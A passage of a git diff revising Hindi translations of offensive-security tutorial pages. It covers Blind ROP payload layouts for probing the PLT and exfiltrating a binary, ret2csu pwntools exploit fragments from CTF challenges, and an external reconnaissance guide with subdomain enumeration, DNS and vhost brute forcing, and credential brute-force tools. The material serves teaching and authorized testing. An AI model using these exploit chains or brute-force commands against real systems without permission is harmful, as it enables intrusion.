प्रविष्टि को कॉल करके या **PLT धीमी पथ** का उपयोग करके किया जा सकता है जो मूल रूप से **PLT तालिका में एक प्रविष्टि को कॉल करने + 0xb** (जो **`dlresolve`** को कॉल करता है) के बाद स्टैक में **प्रविष्टि संख्या को प्रॉब करने के लिए** (शून्य से शुरू) सभी PLT प्रविष्टियों को स्कैन करने के लिए: * strcmp(\, \) -> क्रैश * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> क्रैश होगा @@ -106,7 +106,7 @@ PLT तालिका को 0x400000 से या स्टैक से ** ### 8. Write या समकक्ष खोजें -अंत में, डेटा को एक्सफिल्ट्रेट करने के लिए एक गैजेट की आवश्यकता होती है ताकि बाइनरी को एक्सफिल्ट्रेट किया जा सके। और इस समय यह संभव है कि **2 तर्कों को नियंत्रित किया जाए और `rdx` को 0 से बड़ा सेट किया जाए।** +अंत में, डेटा को एक्सफिल्ट्रेट करने के लिए एक गैजेट की आवश्यकता होती है ताकि बाइनरी को एक्सफिल्ट्रेट किया जा सके। और इस समय यह संभव है कि **2 तर्कों को नियंत्रित करें और `rdx` को 0 से बड़ा सेट करें।** इसके लिए 3 सामान्य फ़ंक्शन हैं जिनका दुरुपयोग किया जा सकता है: @@ -114,17 +114,17 @@ PLT तालिका को 0x400000 से या स्टैक से ** * `dprintf(fd, data)` * `write(fd, data, len(data)` -हालांकि, मूल पेपर केवल **`write`** का उल्लेख करता है, इसलिए आइए इसके बारे में बात करते हैं: +हालांकि, मूल पेपर केवल **`write`** का उल्लेख करता है, इसलिए चलिए इसके बारे में बात करते हैं: -वर्तमान समस्या यह है कि हमें नहीं पता **write फ़ंक्शन PLT के अंदर कहाँ है** और हमें नहीं पता **डेटा को हमारे सॉकेट पर भेजने के लिए एक fd संख्या**। +वर्तमान समस्या यह है कि हमें नहीं पता **write फ़ंक्शन PLT के अंदर कहाँ है** और हमें नहीं पता **डेटा को हमारे सॉकेट पर भेजने के लिए fd संख्या**। हालांकि, हम जानते हैं **PLT तालिका कहाँ है** और इसके **व्यवहार** के आधार पर write को खोजना संभव है। और हम **सर्वर के साथ कई कनेक्शन** बना सकते हैं और एक **उच्च FD** का उपयोग कर सकते हैं यह उम्मीद करते हुए कि यह हमारे कुछ कनेक्शनों से मेल खाता है। -इन फ़ंक्शनों को खोजने के लिए व्यवहार हस्ताक्षर: +उन फ़ंक्शनों को खोजने के लिए व्यवहार हस्ताक्षर: -* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो इसका अर्थ है कि puts मिला -* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो इसका अर्थ है कि dprintf मिला -* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो इसका अर्थ है कि write मिला +* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो इसका मतलब है कि puts मिला +* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो इसका मतलब है कि dprintf मिला +* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो इसका मतलब है कि write मिला ## Automatic Exploitation diff --git a/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 6ef62e1a6..84c55af48 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -23,11 +23,11 @@ Learn & practice GCP Hacking:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

अधिक जानकारी के लिए इस पृष्ठ की जांच करें: @@ -92,14 +92,14 @@ gef➤ search-pattern 0x400560 ### कॉल का उपयोग करना -कल्पना करें कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन `rdx` और `rsi` रजिस्टर में विशेष मानों की आवश्यकता है। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं। +कल्पना करें कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन आपको `rdx` और `rsi` रजिस्टर में विशेष मान चाहिए। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं। यहां **ret2csu** का उपयोग होता है: 1. **रजिस्टर सेट करें**: पहले जादुई गैजेट का उपयोग करके स्टैक से मानों को पॉप करें और rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डालें। -2. **दूसरे गैजेट का उपयोग करें**: उन रजिस्टरों को सेट करने के बाद, आप दूसरे गैजेट का उपयोग करते हैं। यह आपको `rdx` और `rsi` में अपने चुने हुए मानों को स्थानांतरित करने की अनुमति देता है (क्रमशः r14 और r13 से), फ़ंक्शन कॉल के लिए पैरामीटर तैयार करता है। इसके अलावा, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को उस फ़ंक्शन को कॉल करने के लिए बना सकते हैं जो आप पता लगाते हैं और `[r15 + rbx*8]` में रखते हैं। +2. **दूसरे गैजेट का उपयोग करें**: उन रजिस्टरों को सेट करने के बाद, आप दूसरे गैजेट का उपयोग करते हैं। यह आपको अपने चुने हुए मानों को `rdx` और `rsi` (क्रमशः r14 और r13 से) में स्थानांतरित करने की अनुमति देता है, जो फ़ंक्शन कॉल के लिए पैरामीटर तैयार करता है। इसके अलावा, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को उस फ़ंक्शन को कॉल करने के लिए बना सकते हैं जो आप पता लगाते हैं और `[r15 + rbx*8]` में रखते हैं। -आपके पास [**इस तकनीक का उपयोग करते हुए एक उदाहरण और इसे समझाते हुए**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) है, और यह अंतिम शोषण है जिसका इसने उपयोग किया: +आपके पास [**इस तकनीक का उपयोग करते हुए एक उदाहरण और इसे यहां समझाते हुए**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) है, और यह अंतिम शोषण है जिसका इसने उपयोग किया: ```python from pwn import * @@ -124,10 +124,10 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` {% hint style="warning" %} -ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल एक फ़ंक्शन **`win`** को कॉल करना है (ROP श्रृंखला में stdin से `win` का पता लेना और इसे r15 में स्टोर करना) तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है। +ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल एक फ़ंक्शन **`win`** को कॉल करना है (ROP चेन में `win` का पता stdin से कॉल करते समय प्राप्त करना और इसे r15 में स्टोर करना) तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है। {% endhint %} -### कॉल को बायपास करना और रिट तक पहुँचना +### कॉल को बायपास करना और ret तक पहुँचना निम्नलिखित एक्सप्लॉइट [**इस पृष्ठ से निकाला गया**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) जहाँ **ret2csu** का उपयोग किया गया है लेकिन कॉल का उपयोग करने के बजाय, यह **तुलनाओं को बायपास कर रहा है और कॉल के बाद `ret` तक पहुँच रहा है:** ```python diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index ee9f495c0..ac5322148 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -15,38 +15,38 @@ Learn & practice GCP Hacking: {% endhint %} -
+
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_). {% embed url="https://www.stmcyber.com/careers" %} -## Assets discoveries +## संपत्तियों की खोज > तो आपको कहा गया था कि किसी कंपनी से संबंधित सब कुछ दायरे के भीतर है, और आप यह पता लगाना चाहते हैं कि इस कंपनी के पास वास्तव में क्या है। -इस चरण का लक्ष्य मुख्य कंपनी द्वारा स्वामित्व वाली सभी **कंपनियों** को प्राप्त करना है और फिर इन कंपनियों के सभी **संपत्तियों** को प्राप्त करना है। ऐसा करने के लिए, हम: +इस चरण का लक्ष्य मुख्य कंपनी द्वारा स्वामित्व वाली सभी **कंपनियों** और फिर इन कंपनियों की सभी **संपत्तियों** को प्राप्त करना है। ऐसा करने के लिए, हम: 1. मुख्य कंपनी के अधिग्रहणों को खोजेंगे, इससे हमें दायरे के भीतर की कंपनियाँ मिलेंगी। 2. प्रत्येक कंपनी का ASN (यदि कोई हो) खोजेंगे, इससे हमें प्रत्येक कंपनी द्वारा स्वामित्व वाले IP रेंज मिलेंगे। 3. पहले वाले से संबंधित अन्य प्रविष्टियों (संस्थान के नाम, डोमेन...) की खोज के लिए रिवर्स Whois लुकअप का उपयोग करेंगे (यह पुनरावृत्त रूप से किया जा सकता है)। 4. अन्य संपत्तियों की खोज के लिए शोडान `org` और `ssl` फ़िल्टर जैसी अन्य तकनीकों का उपयोग करेंगे (यह `ssl` ट्रिक पुनरावृत्त रूप से की जा सकती है)। -### **Acquisitions** +### **अधिग्रहण** -सबसे पहले, हमें यह जानने की आवश्यकता है कि **मुख्य कंपनी द्वारा स्वामित्व वाली अन्य कंपनियाँ कौन सी हैं**।\ -एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाना, **मुख्य कंपनी** के लिए **खोजें**, और "**अधिग्रहण**" पर **क्लिक करें**। वहाँ आप मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ देखेंगे।\ +सबसे पहले, हमें यह जानने की आवश्यकता है कि **मुख्य कंपनी द्वारा कौन सी अन्य कंपनियाँ स्वामित्व में हैं**।\ +एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाना, **मुख्य कंपनी** के लिए **खोज** करना, और "**अधिग्रहण**" पर **क्लिक** करना। वहाँ आप मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ देखेंगे।\ दूसरा विकल्प है मुख्य कंपनी के **विकिपीडिया** पृष्ठ पर जाना और **अधिग्रहण** के लिए खोज करना। -> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलो उनके संपत्तियों को खोजने का तरीका समझते हैं। +> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलो उनकी संपत्तियों को खोजने का तरीका समझते हैं। ### **ASNs** एक स्वायत्त प्रणाली संख्या (**ASN**) एक **विशिष्ट संख्या** है जो **इंटरनेट असाइन नंबर प्राधिकरण (IANA)** द्वारा एक **स्वायत्त प्रणाली** (AS) को असाइन की जाती है।\ -एक **AS** में **IP पते** के **ब्लॉक** होते हैं जिनकी बाहरी नेटवर्क तक पहुँचने के लिए स्पष्ट रूप से परिभाषित नीति होती है और इसे एक ही संगठन द्वारा प्रशासित किया जाता है लेकिन यह कई ऑपरेटरों से मिलकर बन सकता है। +एक **AS** में **IP पते** के **ब्लॉक्स** होते हैं जिनकी बाहरी नेटवर्क तक पहुँचने के लिए स्पष्ट रूप से परिभाषित नीति होती है और इसे एक ही संगठन द्वारा प्रशासित किया जाता है लेकिन यह कई ऑपरेटरों से मिलकर बन सकता है। -यह जानना दिलचस्प है कि क्या **कंपनी ने किसी ASN को असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट** के खिलाफ **कमजोरी परीक्षण** करने और इन IPs के भीतर **डोमेन** की खोज करने के लिए दिलचस्प होगा।\ -आप कंपनी के **नाम**, **IP** या **डोमेन** द्वारा [**https://bgp.he.net/**](https://bgp.he.net)** पर खोज सकते हैं।**\ +यह जानना दिलचस्प है कि क्या **कंपनी ने किसी ASN को असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट्स** के खिलाफ **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\ +आप [**https://bgp.he.net/**](https://bgp.he.net)** पर कंपनी के **नाम**, **IP** या **डोमेन** द्वारा **खोज** कर सकते हैं।\ **कंपनी के क्षेत्र के आधार पर ये लिंक अधिक डेटा इकट्ठा करने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तरी अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। वैसे, शायद सभी** उपयोगी जानकारी **(IP रेंज और Whois)** पहले लिंक में पहले से ही दिखाई देती है। ```bash #You can try "automate" this with amass, but it's not very recommended @@ -76,7 +76,7 @@ You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4 ### **कमजोरियों की तलाश** इस बिंदु पर हम **स्कोप के अंदर सभी संपत्तियों** को जानते हैं, इसलिए यदि आपको अनुमति है तो आप सभी होस्ट पर कुछ **कमजोरी स्कैनर** (Nessus, OpenVAS) लॉन्च कर सकते हैं।\ -इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **लॉन्च कर सकते हैं** या **खुले पोर्ट खोजने के लिए** shodan **जैसी सेवाओं का उपयोग कर सकते हैं** और जो कुछ भी आप पाते हैं उसके आधार पर आपको इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का परीक्षण करना है।\ +इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **या** shodan **जैसी सेवाओं का उपयोग करके** खुले पोर्ट **खोज सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको** इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का पेंटेस्ट करें।\ **इसके अलावा, यह उल्लेख करना भी फायदेमंद हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को** ब्रूटफोर्स **करने की कोशिश कर सकते हैं।** ## डोमेन @@ -160,7 +160,7 @@ return fhash ``` ### **Copyright / Uniq string** -वेब पृष्ठों के अंदर **ऐसे स्ट्रिंग्स की खोज करें जो एक ही संगठन में विभिन्न वेब्स के बीच साझा की जा सकें**। **कॉपीराइट स्ट्रिंग** एक अच्छा उदाहरण हो सकता है। फिर उस स्ट्रिंग की **गूगल**, अन्य **ब्राउज़रों** या यहां तक कि **शोडन** में खोज करें: `shodan search http.html:"Copyright string"` +वेब पृष्ठों के अंदर **स्ट्रिंग्स की खोज करें जो एक ही संगठन में विभिन्न वेब्स के बीच साझा की जा सकती हैं**। **कॉपीराइट स्ट्रिंग** एक अच्छा उदाहरण हो सकता है। फिर उस स्ट्रिंग की **गूगल**, अन्य **ब्राउज़रों** या यहां तक कि **शोडन** में खोज करें: `shodan search http.html:"Copyright string"` ### **CRT Time** @@ -201,7 +201,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -_ध्यान दें कि कभी-कभी डोमेन एक ऐसे IP में होस्ट किया जाता है जिसे क्लाइंट द्वारा नियंत्रित नहीं किया जाता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ +_ध्यान दें कि कभी-कभी डोमेन एक ऐसे IP पर होस्ट किया जाता है जिसे क्लाइंट द्वारा नियंत्रित नहीं किया जाता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ \ **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! @@ -277,7 +277,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov ``` There are **अन्य दिलचस्प उपकरण/एपीआई** जो सीधे तौर पर उपडोमेन खोजने में विशेषज्ञ नहीं हैं, लेकिन उपडोमेन खोजने में उपयोगी हो सकते हैं, जैसे: -* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** उपडोमेन प्राप्त करने के लिए एपीआई [https://sonar.omnisint.io](https://sonar.omnisint.io) का उपयोग करता है +* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use @@ -307,12 +307,12 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -* [**gau**](https://github.com/lc/gau)**:** किसी भी दिए गए डोमेन के लिए AlienVault के Open Threat Exchange, Wayback Machine, और Common Crawl से ज्ञात URLs को लाता है। +* [**gau**](https://github.com/lc/gau)**:** किसी भी दिए गए डोमेन के लिए AlienVault के Open Threat Exchange, Wayback Machine, और Common Crawl से ज्ञात URLs लाता है। ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` -* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): वे वेब को स्क्रैप करते हैं, JS फ़ाइलों की तलाश करते हैं और वहां से उपडोमेन निकालते हैं। +* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **और** [**subscraper**](https://github.com/Cillian-Collins/subscraper): ये वेब को स्क्रैप करते हैं, JS फ़ाइलों की तलाश करते हैं और वहां से उपडोमेन निकालते हैं। ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -337,7 +337,7 @@ python3 censys-subdomain-finder.py tesla.com ```bash python3 DomainTrail.py -d example.com ``` -* [**securitytrails.com**](https://securitytrails.com/) में उपडोमेन और IP इतिहास खोजने के लिए एक मुफ्त API है +* [**securitytrails.com**](https://securitytrails.com/) में उपडोमेन और IP इतिहास के लिए एक मुफ्त API है * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में** प्रदान करता है। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) @@ -346,7 +346,7 @@ python3 DomainTrail.py -d example.com ### **DNS ब्रूट फोर्स** -चलो नए **उपडोमेन** खोजने के लिए DNS सर्वरों को संभावित उपडोमेन नामों का उपयोग करके ब्रूट-फोर्स करने की कोशिश करते हैं। +आइए संभावित उपडोमेन नामों का उपयोग करके DNS सर्वरों को ब्रूट-फोर्स करके नए **उपडोमेन** खोजने की कोशिश करें। इस क्रिया के लिए आपको कुछ **सामान्य उपडोमेन शब्दसूचियाँ जैसे** चाहिए: @@ -356,7 +356,7 @@ python3 DomainTrail.py -d example.com * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -और अच्छे DNS रिसॉल्वर के IPs भी। विश्वसनीय DNS रिसॉल्वर की सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसॉल्वर डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +और अच्छे DNS रिसोल्वर्स के IPs भी। विश्वसनीय DNS रिसोल्वर्स की सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) DNS ब्रूट-फोर्स के लिए सबसे अनुशंसित उपकरण हैं: @@ -378,7 +378,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` puredns bruteforce all.txt domain.com ``` -* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) असिंक्रोनसली डोमेन नामों को ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है। +* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) असिंक्रोनस रूप से डोमेन नामों को ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है। ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` @@ -391,7 +391,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com cat subdomains.txt | dnsgen - ``` * [**goaltdns**](https://github.com/subfinder/goaltdns): डोमेन और सबडोमेन दिए जाने पर उत्परिवर्तन उत्पन्न करें। -* आप **यहां** [**goaltdns**](https://github.com/subfinder/goaltdns/blob/master/words.txt) उत्परिवर्तन **शब्दसूची** प्राप्त कर सकते हैं। +* आप goaltdns उत्परिवर्तन **शब्दसूची** [**यहां**](https://github.com/subfinder/goaltdns/blob/master/words.txt) प्राप्त कर सकते हैं। ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` @@ -400,7 +400,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` * [**altdns**](https://github.com/infosec-au/altdns): उपडोमेन संयोजनों को उत्पन्न करने के अलावा, यह उन्हें हल करने की भी कोशिश कर सकता है (लेकिन पहले टिप्पणी किए गए उपकरणों का उपयोग करना बेहतर है)। -* आप altdns संयोजनों की **शब्दसूची** [**यहाँ**](https://github.com/infosec-au/altdns/blob/master/words.txt) प्राप्त कर सकते हैं। +* आप altdns संयोजनों की **शब्दसूची** [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) प्राप्त कर सकते हैं। ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` @@ -414,7 +414,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ #### स्मार्ट संयोजन उत्पन्न करना -* [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मूल रूप से **खोजे गए उपडोमेन** से **मुख्य भागों** को प्राप्त करेगा और अधिक उपडोमेन खोजने के लिए उन्हें मिलाएगा। +* [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मूल रूप से **खोजे गए उपडोमेन** से **मुख्य भाग** प्राप्त करेगा और अधिक उपडोमेन खोजने के लिए उन्हें मिलाएगा। ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute @@ -438,7 +438,7 @@ echo www | subzuf facebook.com #### OSINT -आप कुछ **VHosts IPs में खोज सकते हैं** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य APIs का उपयोग करके**। +आप कुछ **VHosts IP में खोज सकते हैं** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य APIs का उपयोग करके**। **ब्रूट फोर्स** @@ -457,12 +457,12 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com VHostScan -t example.com ``` {% hint style="info" %} -इस तकनीक के साथ, आप आंतरिक/छिपे हुए एंडपॉइंट्स तक पहुँचने में सक्षम हो सकते हैं। +इस तकनीक के साथ, आप आंतरिक/छिपे हुए एंडपॉइंट्स तक भी पहुँच सकते हैं। {% endhint %} ### **CORS Brute Force** -कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाती हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं। +कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं। ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` @@ -485,10 +485,10 @@ _ध्यान दें कि कभी-कभी subdomain एक IP के ## IPs -प्रारंभिक चरणों में, आप **कुछ IP रेंज, डोमेन और subdomains** पा सकते हैं।\ -अब **उन रेंज से सभी IPs को इकट्ठा करने का समय है** और **डोमेन/subdomains (DNS प्रश्नों) के लिए।** +प्रारंभिक चरणों में, आपने **कुछ IP रेंज, डोमेन और subdomains** पाए होंगे।\ +अब समय है कि आप **उन रेंज से सभी IPs को इकट्ठा करें** और **डोमेन/subdomains (DNS प्रश्नों) के लिए।** -निम्नलिखित **free apis** की सेवाओं का उपयोग करके, आप **डोमेन और subdomains द्वारा उपयोग किए गए पिछले IPs** भी पा सकते हैं। ये IPs अभी भी क्लाइंट के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं) +निम्नलिखित **free apis** की सेवाओं का उपयोग करके, आप **डोमेन और subdomains द्वारा उपयोग किए गए पिछले IPs** को भी खोज सकते हैं। ये IPs अभी भी क्लाइंट के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं) * [**https://securitytrails.com/**](https://securitytrails.com/) @@ -502,9 +502,9 @@ _ध्यान दें कि कभी-कभी subdomain एक IP के ## Web servers hunting -> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और subdomains को जानते हैं। अब वेब सर्वरों की खोज करने का समय है। +> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और subdomains को जानते हैं। अब समय है वेब सर्वरों की खोज करने का। -पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IPs और डोमेन का कुछ recon किया है**, इसलिए आप **संभावित सभी वेब सर्वरों** को पहले से ही पा चुके होंगे। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे। +पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IPs और डोमेन का कुछ recon किया है**, इसलिए आप **संभावित सभी वेब सर्वरों को पहले से ही खोज चुके होंगे**। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे। कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **vulnerability** और **port scanning** भी करनी चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**). @@ -540,7 +540,7 @@ cat 